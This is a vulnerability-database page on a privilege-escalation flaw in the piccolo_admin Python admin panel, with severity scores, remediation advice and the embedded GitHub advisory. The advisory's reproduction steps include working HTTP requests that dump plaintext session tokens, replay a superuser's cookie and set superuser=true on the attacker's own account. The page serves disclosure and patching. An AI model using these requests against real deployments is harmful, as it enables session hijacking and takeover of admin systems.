Skip to main content

piccolo_admin CVE-2026-55485

| EUVDEUVD-2026-67858 HIGH
Information Exposure (CWE-200)
2026-08-28 https://github.com/piccolo-orm/piccolo_admin GHSA-2gh4-jmwq-rr8w
8.8
CVSS 3.1 · Vendor: https://github.com/piccolo-orm/piccolo_admin
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as non-superuser admin
  2. Delivery
    GET /api/tables/sessions/ to retrieve all plaintext session tokens
  3. Exploit
    Identify superuser's token by user_id
  4. Execution
    Replay superuser session cookie in PATCH /api/tables/piccolo_user/<self>/
  5. Persist
    Write superuser=true to own row
  6. Impact
    Discard stolen token; permanent superuser access retained

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK

2 techniques across 2 tactics: Collection, Discovery

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) a valid non-superuser admin account - specifically a user with admin=True, superuser=False, which is the default role produced by BaseUser.create_user(admin=True); (2) the deployment must include the Sessions table (and typically the User table) passed to create_admin([...]) - this is explicitly documented as the pattern for providing an active-session management UI, but it is not the default shipped demo configuration; (3) network reachability to the admin interface. Exploitation is limited by: the non-default Sessions-table configuration (the shipped admin_demo does not expose it, so out-of-the-box deployments are safe until a deployer adds it); the requirement for a valid admin-level credential (PR:L, not PR:N - unauthenticated attackers cannot exploit this); and the absence of a race condition or timing requirement. The CVSS PR:L qualifier is confirmed by the vector AV:N/PR:L: authentication as a low-privileged (non-superuser) admin is mandatory. Exploitation is fully one-directional - no victim interaction or privileged user action is needed after the attacker's initial login.

Impact

The vendor-assigned CVSS 3.1 score of 8.8 HIGH (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) accurately reflects the risk. Attack Complexity is Low because exploitation requires only a single GET request with no race condition, timing dependency, or environmental preparation beyond valid credentials. Privileges Required is Low because the attacker only needs a non-superuser admin account - the default role created by BaseUser.create_user(admin=True). No user interaction is required. The C/I/A impact triple-High is justified: the token leak provides full credential disclosure, the subsequent self-promotion enables full write access to all exposed tables, and the attacker can revoke every other user's session causing a denial of availability to other administrators. The vendor note that Scope Unchanged is conservative and S:C (yielding 9.9 Critical) is a defensible alternative, since the escalation explicitly crosses a named privilege gate from admin to superuser. No EPSS score was provided in the input data, so exploitation probability from that signal is unknown. No CISA KEV listing exists, indicating no confirmed widespread active exploitation at time of analysis. However, the researcher supplied a detailed, reproducible proof-of-concept with curl-level commands, meaning weaponization barrier is negligible. The configuration precondition - deployer must include the Sessions table in create_admin([...]) - partially limits exposure, but this is a documented, recommended pattern for session-management UIs and is therefore realistic rather than exotic.

Exploit ScenarioDerived

An attacker with a valid non-superuser admin account (e.g., created via BaseUser.create_user(admin=True)) authenticates and sends a single GET request to /api/tables/sessions/. The 200 response returns every active session's plaintext token and associated user_id, allowing the attacker to identify the superuser's live session cookie. The attacker then replays that cookie in a PATCH request to /api/tables/piccolo_user/<their_own_id>/ with body {"superuser": true}, which succeeds because the request now appears to originate from the superuser - permanently elevating the attacker's account with no further use of the stolen token. A detailed proof-of-concept including HTTP request transcripts and screenshots was published in the GitHub security advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 28, 2026

Privilege escalation in piccolo_admin 1.13.0 and earlier allows any non-superuser admin to permanently elevate to superuser by exploiting a two-flaw chain: the superuser_validators access-control function uses a deny-list that omits GET, and the SessionsBase.token column is stored as plaintext Varchar without secret=True, causing it to appear in every GET /api/tables/sessions/ response. An authenticated low-privilege admin can harvest the superuser's live session token in a single unauthenticated-to-superuser GET request, replay it to issue a PATCH that sets superuser=true on their own row, and permanently retain elevated access - the stolen cookie is then discarded. A publicly available proof-of-concept with full reproduction steps was included in the GitHub security advisory (GHSA-2gh4-jmwq-rr8w); no CISA KEV listing is present at time of analysis.

RemediationAI

Upgrade piccolo_admin to version 1.14.0 (https://github.com/piccolo-orm/piccolo_admin/releases/tag/1.14.0) and piccolo_api to version 1.10.0 (https://github.com/piccolo-orm/piccolo_api/releases/tag/1.10.0). The piccolo_admin fix (commit 96ddae12) pins the requirement to piccolo_api>=1.10.0, so upgrading piccolo_admin via pip will pull the corrected piccolo_api automatically. The piccolo_api fix (PR #331, commit 520ec256) makes SessionsBase.token a secret=True Varchar and updates PiccoloCRUD to respect _meta.secret_columns when building filter schemas, closing the disclosure path even if the validator is misconfigured downstream. A database migration (session_auth_2026_05_27t16_15_06_677127) is included; run Piccolo migrations after upgrading. As an interim workaround if immediate upgrade is not possible, remove the Sessions table from create_admin([...]) - this eliminates the disclosure endpoint entirely but removes the session-management UI. Restricting network access to the admin interface to trusted IP ranges reduces exposure but does not eliminate the vulnerability for insider-threat scenarios. There is no other single-control workaround that preserves the Sessions UI while preventing exploitation.

Affected VersionsENISA

piccolo_admin < 1.14.0

Affected Packages

pypi piccolo-admin fix: 1.14.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

piccolo_admin is a Python web-based admin panel built on the Piccolo ORM and Starlette/FastAPI. The affected component is superuser_validators in piccolo_admin/endpoints.py (around line 419), which is intended to restrict non-superuser admin users from modifying sensitive tables such as piccolo_user and sessions. The function implements a deny-list pattern, blocking HTTP methods PUT, PATCH, DELETE, and POST, but omits GET - meaning read operations against these tables are never gated for non-superusers. The second flaw resides in piccolo_api/session_auth/tables.py: SessionsBase.token is declared as Varchar(length=100) without secret=True, so the existing exclude_secrets=True default on PiccoloCRUD never strips it from API responses. CWE-200 (Exposure of Sensitive Information) covers the token leak; CWE-863 (Incorrect Authorization) and CWE-269 (Improper Privilege Management) describe the broken access-control logic and the resulting privilege escalation chain respectively. The CPE is pkg:pip/piccolo-admin, confirmed by the GitHub advisory.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/piccolo-orm/piccolo_admin) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network-accessible admin requiring low-privilege credentials; no complexity; full C/I/A impact from token theft enabling permanent superuser self-promotion.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/piccolo-orm/piccolo_admin).

CVSS VectorVendor: https://github.com/piccolo-orm/piccolo_admin

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

piccolo_admin uses a helper called superuser_validators to gate access to the user and session tables for non-superusers. The helper rejects PUT, PATCH, DELETE, and POST, but does not reject GET.

The sessions table stores live session tokens in plaintext, and the token column is not marked secret=True, so it is included in every GET response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own Cookie: id=…, impersonate that user (including the superuser), and then permanently self-promote by writing superuser = true on their own row.

The chain is reachable on a realistic, documented configuration: a deployer adds the Sessions (and User) tables to create_admin([...]) so superusers have a UI to monitor and revoke sessions.

Affected component

  • File: piccolo_admin/endpoints.py
  • Function: superuser_validators (around line 419)
python
def superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):
    user: BaseUser = request.user.user
    if not user.superuser:
        if request.method.upper() in ["PUT", "PATCH", "DELETE", "POST"]:
            raise HTTPException(
                detail="Only superusers can perform these actions.",
                status_code=405,
            )

The method check is a deny-list instead of an allow-list; GET is absent. Compounding the issue, SessionsBase.token in piccolo_api/session_auth/tables.py is a Varchar without secret=True, so the default exclude_secrets=True in PiccoloCRUD does not strip it.

Preconditions

  1. Network reachability to the admin.
  2. Valid credentials for a non-superuser admin (admin=True, superuser=False - the default role created by BaseUser.create_user(admin=True)).
  3. The deployment includes the Sessions table (and typically the User table) in create_admin([...]) - the documented pattern for "active sessions" management UIs.

Steps to reproduce

  1. Log in as the non-superuser admin (john / john123). Open the *Piccolo User* table and confirm john's SUPERUSER column is ✗. *(See Screenshot 1.)*

<img width="3024" height="1430" alt="01-john-piccolo_user-list" src="https://github.com/user-attachments/assets/31a6f81e-7d12-434a-ac99-ff64e15511f9" />

  1. Attempt the target write directly. Send the following request:
http
   PATCH /api/tables/piccolo_user/2/ HTTP/1.1
   Host: target:8001
   Content-Type: application/json
   Cookie: id=<john's session>; csrftoken=<token>
   X-CSRFToken: <token>

   {"superuser": true}

The server returns:

   HTTP/1.1 405
   {"detail":"Only superusers can perform these actions."}

The same response is shown both in the dashboard banner *(Screenshot 2)* and in Burp Repeater *(Screenshot 3)*. This establishes the privilege boundary that the bug will break. <img width="3024" height="2158" alt="02-john-save-blocked-405" src="https://github.com/user-attachments/assets/81f4b0b6-fe58-43da-b63e-6161e5911fc0" /> <img width="1213" height="713" alt="03-john-save-blocked-405" src="https://github.com/user-attachments/assets/2eb33b00-a209-4e92-b18b-1f6520dde702" />

  1. Leak the credential. As the same john user, request:
http
   GET /api/tables/sessions/ HTTP/1.1
   Host: target:8001
   Cookie: id=<john's session>; csrftoken=<token>

Response: 200 OK containing every active session in plaintext, e.g.

json
   {"rows":[
     {"token":"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE","user_id":1, ...},
     {"token":"...","user_id":2, ...},
     ...
   ]}

Copy the token value of any row whose user_id matches the superuser. That string IS the live session cookie of that user. *(Screenshot 4.)* <img width="1512" height="850" alt="04-john-sees-all-session-tokens" src="https://github.com/user-attachments/assets/3303231f-ed87-4b32-8cab-7aa480315529" />

  1. Replay the step-2 PATCH with the stolen cookie. Send the exact same request as step 2, changing only the Cookie: id= value to the stolen token:
http
   PATCH /api/tables/piccolo_user/2/ HTTP/1.1
   Host: target:8001
   Content-Type: application/json
   Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=<token>
   X-CSRFToken: <token>

   {"superuser": true}

Response: 200 OK, body shows "superuser": true for john. *(Screenshot 5.)* <img width="1213" height="713" alt="05-john-self-promote" src="https://github.com/user-attachments/assets/4399866a-06e8-4568-b599-922a5b16805e" />

  1. Verify persistence. Log in fresh as john / john123 (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed - the elevation is permanent on john's own row.

Impact

Full superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:

  • read/write/delete any row in any table the admin exposes;
  • revoke any other session, locking out other admins;
  • change any user's password;
  • export data (including via the bulk CSV download forms);
  • plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.

Persistence is automatic - once the attacker writes superuser=true on their own row in step 4, the stolen cookie can be discarded.

Suggested fix

Primary (single-line): make superuser_validators reject all requests from non-superusers - there is no legitimate non-superuser use case for the user or session tables in this context:

python
def superuser_validators(piccolo_crud, request):
    if not request.user.user.superuser:
        raise HTTPException(
            status_code=403,
            detail="Only superusers can access this resource.",
        )

Defence in depth: in piccolo_api/session_auth/tables.py, mark SessionsBase.token with secret=True. The existing exclude_secrets=True default on PiccoloCRUD then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.

Severity

CVSS 3.1: 8.8 HIGH - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Reasoning:

  • AV:N - accessible over the network.
  • AC:L - single GET; no race or timing dependency.
  • PR:L - requires non-superuser admin credentials (the default admin role).
  • UI:N - no victim interaction needed.
  • S:U - scope kept Unchanged to be conservative; some auditors may prefer S:C (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate.
  • C:H / I:H / A:H - full read, full write, full availability impact on the admin's data and on other users' sessions.

Weaknesses

  • CWE-269 Improper Privilege Management *(primary)*
  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
  • CWE-863 Incorrect Authorization

Notes for the maintainer

  • The vulnerability is reachable on any version where superuser_validators uses a method deny-list and SessionsBase.token is not secret=True. I tested against piccolo_admin 1.13.0 + piccolo_api 1.9.0.
  • The shipped admin_demo does not expose the Sessions table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions) configuration, which mirrors the documented "Sessions admin view" pattern.
  • I'm happy to coordinate disclosure timing and validate any candidate patch.

Technical POC Analysis

Two independent defects chained: Broken authorization (CWE-863 / CWE-269; CVE record maps CWE-200).

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

Piccolo_admin 1.13.0 and earlier contain a privilege escalation flaw allowing any administrator to permanently elevate themselves to superuser status through plaintext session token extraction, completely bypassing administrative access controls. A single compromised admin account-whether from phishing, malware, or insider action-can lead to total database takeover. Organizations running affected versions face immediate operational risk requiring urgent patching.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 68% exploitable
Prevalence
Low
niche Python ORM admin panel, limited enterprise production footprint
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

64
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy